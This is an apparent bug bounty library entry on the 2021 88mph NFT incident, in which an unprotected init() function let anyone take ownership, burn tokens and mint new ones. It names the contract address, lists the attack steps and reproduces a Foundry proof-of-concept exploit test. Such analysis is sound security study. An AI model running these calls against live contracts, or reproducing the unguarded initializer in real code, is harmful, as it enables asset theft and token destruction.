# 88mph NFT: unprotected init() allows ownership takeover

Unprotected init() on 88mph NFT contract let anyone become owner, burn existing tokens, and mint arbitrary NFTs.

- Payout: Real-world hack
- Severity: high
- Program: 88mph NFT
- Analysis by: DeFiHackLabs
- Disclosed: 2021-06-07
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-06/88mph_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210607-88mph
- Tags: area:web3 domain:web3 impact:integrity kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:access-control vuln:auth-bypass

**Target:** ERC721 NFT contract (MPHToken) init function
**Root cause:** init() lacked access control and only checked an uninitialized flag, so any caller could invoke it and take ownership via _transferOwnership(msg.sender).
**Steps:**
1. Call `mphNFT.init(address(this), "0", "0")` on 0xF0b7DE03134857391d8D43Ed48e20EDF21461097 to become owner.
2. As owner, call `mphNFT.burn(1)` to destroy existing token 1.
3. Call `mphNFT.mint(address(this), 1)` to mint token 1 to the attacker.
**Exploitation:** Attacker calls the unprotected init() to seize ownership, then burns existing NFTs and mints replacements to themselves, controlling the NFT supply.
**Insight:** On upgradeable/clone-style contracts, check whether init()/initialize() is callable by anyone and whether the initialized guard can be bypassed or was never set; ownership transfer inside init is a direct takeover primitive.

## Proof of concept (copied exactly from the original report)

**Foundry test calling unprotected init() to take ownership**

```
function testExploit() public {
        console.log("Before exploiting, NFT contract owner:", mphNFT.owner());
        /*
    The vulnerability was an unprotected init() function in the code of these specific pools
    function init() public {
        require(!initialized, "MPHToken: initialized");
        initialized = true;

        _transferOwnership(msg.sender);
    }

        */
        mphNFT.init(address(this), "0", "0"); // exploit here, change owner to this contract address
        console.log("After exploiting, NFT contract owner:", mphNFT.owner());
        console.log("NFT Owner of #1: ", mphNFT.ownerOf(1));
        mphNFT.burn(1); //burn the token 1
        cheats.expectRevert(bytes("ERC721: owner query for nonexistent token"));
        console.log("After burning: NFT Owner of #1: ", mphNFT.ownerOf(1)); // token burned, nonexistent token
        mphNFT.mint(address(this), 1); // mint a new token 1
        console.log("After exploiting: NFT Owner of #1: ", mphNFT.ownerOf(1)); // token 1 now owned by us
```

